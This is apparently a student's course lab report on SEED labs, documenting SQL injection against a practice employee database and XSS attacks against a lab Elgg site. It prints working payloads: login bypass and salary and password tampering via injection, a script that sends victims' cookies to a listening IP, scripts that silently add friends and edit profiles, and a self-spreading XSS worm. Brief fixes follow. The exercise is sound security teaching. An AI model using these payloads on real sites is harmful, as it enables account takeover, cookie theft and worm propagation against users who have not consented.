20211911 2021-2022-2 《网络攻防实践》实践十报告

1.实践内容

sql注入攻击:

SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
SQL注入攻击属于数据库安全攻击手段之一,可以通过数据库安全防护技术实现有效防护,数据库安全防护技术包括:数据库漏扫、数据库加密、数据库防火墙、数据脱敏、数据库安全审计系统。
SQL注入攻击会导致的数据库安全风险包括:刷库、拖库、撞库。

xss注入攻击:

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

Web服务器平台中的安全漏洞:

物理路径泄露:

物理路径泄露一般是由于Web服务器处理用户请求出错导致的,如通过提交一个超长的请求,或者是某个精心构造的特殊请求,或是请求一个Web服务器上不存在的文件。这些请求都有一个共同特点,那就是被请求的文件肯定属于CGI脚本,而不是静态HTML页
面。

目录遍历:

目录遍历对于Web服务器来说并不多见,通过对任意目录附加“…/”,或者是在有特殊意义的目录附加“…/”,或者是附加“…/”的一些变形,如“…\”或“…//”甚至其编码,都可能导致目录遍历。前一种情况并不多见,但是后面的几种情况就常见得多,以前非常流行的IIS二次解码漏洞和Unicode解码漏洞都可以看作是变形后的编码。

执行任意命令:

执行任意命令即执行任意操作系统命令,主要包括两种情况。一是通过遍历目录,如前面提到的二次解码和UNICODE解码漏洞,来执行系统命令。另外一种就是Web服务器把用户提交的请求作为SSI指令解析,因此导致执行任意命令。

缓冲区溢出:

缓冲区溢出漏洞想必大家都很熟悉,无非是Web服务器没有对用户提交的超长请求没有进行合适的处理,这种请求可能包括超长URL,超长HTTP Header域,或者是其它超长的数据。这种漏洞可能导致执行任意命令或者是拒绝服务,这一般取决于构造的数据。

拒绝服务:

拒绝服务产生的原因多种多样,主要包括超长URL,特殊目录,超长HTTP Header域,畸形HTTP Header域或者是DOS设备文件等。由于Web服务器在处理这些特殊请求时不知所措或者是处理方式不当,因此出错终止或挂起。

SQL注入:

SQL注入的漏洞在编程过程造成的。后台数据库允许动态SQL语句的执行。前台应用程序没有对用户输入的数据或者页面提交的信息(如POST, GET)进行必要的安全检查。数据库自身的特性造成的,与web程序的编程语言的无关。几乎所有的关系数据库系统和相应的SQL语言都面临SQL注入的潜在威胁 。

条件竞争:

这里的条件竞争主要针对一些管理服务器而言,这类服务器一般是以System或Root身份运行的。当它们需要使用一些临时文件,而在对这些文件进行写操作之前,却没有对文件的属性进行检查,一般可能导致重要系统文件被重写,甚至获得系统控制权。

CGI漏洞:

通过CGI脚本存在的安全漏洞,比如暴露敏感信息、缺省提供的某些正常服务未关闭、利用某些服务漏洞执行命令、应用程序存在远程溢出、非通用CGI程序的编程漏洞。

SSI注入:

SSI注入全称Server-Side Includes Injection,即服务端包含注入。SSI 是类似于 CGI,用于动态页面的指令。SSI 注入允许远程在 Web 应用中注入脚本来执行代码。

2.实践过程

一、SEED SQL注入攻击与防御实验

我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。
该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。
此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。
员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:

-熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。

1.使用指令service apache2 start来启动apache服

2.登录mysql使用指令mysql -u root -pseedubuntu

3.使用指令use Users查看用户; (注意记得输入指令加;), 使用指令show tables查看数据库表;(注意记得输入指令加;)

4.使用指令select * from credential;(注意记得输入指令加;)来查询credential表

-对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。

1.在Firefox浏览器中访问www.seedlabsqlinjection.com该网址,可以看到登录需要输入用户名和密码

2.在Firefox浏览器中按F12键开启调试器,输入任意的用户名和密码,依次点击network->ALL->双击第一行->HEADERS,在URL就能看到与之相关联的文件是unsafe_home.php

3.在var/www/SQLInjection下找到该文件,使用指令cd var/www/SQLInjection进入该文件目录

4.再使用指令vim unsafe_home.php打开查看代码

5.从$hashed_pwd = sha1($input_pwd);可以得知数据库中存储的$hashed_pwd是输入的密码通过sha1之后的哈希值

6.'#'符号是注释的意思,我们可以通过输入用户名时加入#来注释掉验证密码的部分,在用户名处输入admin'#即可


7.可以通过指令curl 'www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27%20%23'来进行查看sql注入的数据

可以看到信息和6中图表显示数据一样

8.使用指令admin';update cerdential set address='China' where name='Alice' #输入到用户名处,但是修改失败并报错

-对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。

1.在用户名处输入Alice '#来进行登录


2.可以修改Alice的工资,通过在点击eidt profile -> Alice profile中的NickName处输入指令', salary='20211911' where EID='10000';#


可以发现Alice的工资已经被更改为了20211911

3.同理,只需要修改名字所对应的salary就可以修改他人的工资,这里以Ted为例,
通过在点击eidt profile -> Alice profile中的NickName处输入指令', salary='2119' where name='Ted';#

类似的,通过指令Ted '#登录Ted的账号去查看工资,发现已经本修改为2119


4.同理,也可以修改用户的密码,由之前步骤可以得知数据库中存储密码的sha1值,
所以需要先通过指令echo -n '20211911'|sha1sum得到字符串'20211911'对应的sha1值为00d876eecaf7dea8680dc6abbc912071e0d9974f

5.通过在点击eidt profile -> Ted profile中的NickName处输入指令', password='00d876eecaf7dea8680dc6abbc912071e0d9974f' where name='Boby';#

返回登录界面,在用户名处输入Boby,密码处输入20211911,发现可以进到Boby的账号

-SQL对抗:修复上述SQL注入攻击漏洞。

1.之所以上面的sql注入能成功,是因为存储的数据和数据库执行语句放在一起导致的,只要能提前使用预处理语句,将存储的数据和数据库执行语句分割开,就可以很好的预防sql注入。
通过指令cd var/www/SQLInjection进入到目录var/www/SQLInjection下,通过指令ls能看到该目录下safe_home.php和safe_edit_backend.php

2.使用指令vim safe_home.php和指令vim safe_edit_backend.php查看,可以看到明确的将数据库执行语句和

3.使用这个safe_home.php来登录网页,在火狐浏览器网页输入www.seedlabsqlinjection.com/safe_home.php?username=admin'#&Password=

4.同理,使用www.seedlabsqlinjection.com/safe_edit_backend.php?NickName='%2Csalary%3D100%23
发现只是修改了Nickname,并没有修改工资

二、SEED XSS跨站脚本攻击实验(Elgg)

为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。

发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。

用户账号 用户密码
admin seedelgg
alice seedalice
boby seedboby
charlie seedcharlie
samy seedsamy

弹窗显示cookie信息:将cookie信息显示。

1.打开Firefox输入网址www.xsslabelgg.com,并登录alice的账号

2.点击alice edit profile,在Brief description中输入XSS攻击代码<script> alert('2021911');</script>,会弹出提示框20211911

3.save后攻击成功,可以看见弹出提示框显示20211911


4.同理,在Brief description中输入XSS攻击代码<script> alert(document.cookie);</script>可以得知该账号的cookie

5.同样save之后可以得到

窃取受害者的cookies:将cookie发送给攻击者。

1.在命令行下使用使用指令nc -l 6666 -v,通过工具nc监听端口

2.同理,在Brief description处输入xss攻击指令(注意要改成seed所在的ip和监视的端口)

<script>document.write('<img src=http://192.168.31.50:7777?c='+escape(document.cookie) + ' >');</script>


3.在命令行查看监听得到cookie

成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。

1.在Firefox输入网址www.xsslabelgg.com/profile/boby来进入boby的主页,点击add friend

2.按f12->network->all->post->Headers可以看到三个参数,分别是__elgg_token,__elgg_ts和friend

3.在Alice页面edit profile->file About me中输入下列js脚本代码

<script type="text/javascript">
window.onload = function () {
	var Ajax=null;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token;

	//Construct the HTTP request to add Samy as a friend.
	var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token; 

	//Create and send Ajax request to add friend
	Ajax=new XMLHttpRequest();
	Ajax.open("GET",sendurl,true);
	Ajax.setRequestHeader("Host","www.xsslabelgg.com");
	Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
	Ajax.send();
}
</script>

4.登录boby账号,查看Alice主页后,发现Alice已经是好友

修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。

1.同上,f12->network->all->post->Header,可以看大edit下传输的数据

2.在Alice页面edit profile->file About me中输入下列js脚本代码,记得选择edit HTML格式

<script type="text/javascript">
window.onload = function(){
	//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
	//and Security Token __elgg_token
	var userName=elgg.session.user.name;
	var guid="&guid="+elgg.session.user.guid;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token;

	//Construct the content of your url.
	var content= token + ts + "name=" + userName + "&description=<p>this had been changed by 20211911's xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
	var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
	alert(content)
	//FILL IN
	var samyGuid=44;
	//FILL IN
	if(elgg.session.user.guid!=samyGuid)
	{
		//Create and send Ajax request to modify profile
		var Ajax=null;
		Ajax=new XMLHttpRequest();
		Ajax.open("POST",sendurl,true);
		Ajax.setRequestHeader("Host","www.xsslabelgg.com");
		Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
		Ajax.send(content);
	}
}
</script>

4.登录boby账号,查看Alice主页后,可以看到boby主页已被更改

编写XSS蠕虫。

1.同理,在Alice页面edit profile->file About me中输入下列js脚本代码,记得选择edit HTML格式

<script id="worm" type="text/javascript">
window.onload = function(){
    var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
    var jsCode = document.getElementById("worm").innerHTML;
    var tailTag = "</" + "script>"; 
    var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

    var userName=elgg.session.user.name;
    var guid="&guid="+elgg.session.user.guid;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;

    //Construct the content of your url.
    var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by 20211911's xss attack  "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
    var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
    alert(content)

    var samyGuid=44;

    if(elgg.session.user.guid!=samyGuid){
        var Ajax=null;
        Ajax=new XMLHttpRequest();
        Ajax.open("POST",sendurl,true);
        Ajax.setRequestHeader("Host","www.xsslabelgg.com");
        Ajax.setRequestHeader("Content-Type",
        "application/x-www-form-urlencoded");
        Ajax.send(content);
    }
}
</script>

2.登录boby账号,查看Alice主页后,可以看到boby主页已被更改

3.同理,登录charlie账号,查看boby主页后,可以看到charlie主页已被更改

对抗XSS攻击。

在代码运行中调用htmlspecialchars()方法,该方法主要是对特殊字符进行编码,就可以防止xss攻击

3.学习中遇到的问题及解决

  • 问题1:在监听端口6666时没有反应
  • 问题1解决方案:切换一下端口到7777就能监听到
  • 问题2:在查看数据库时,使用指令没有回显
  • 问题2解决方案:发现是没有在指令后加‘;’,这更提醒我要多加仔细用心

4.实践总结

本次实验让我对sql攻击和xss攻击有了更全面的了解,对于sql语句的使用不算熟练,还需要多加总结。

参考资料

posted @ 2022-05-16 21:08  两面包+芝士  阅读(264)  评论(0编辑  收藏  举报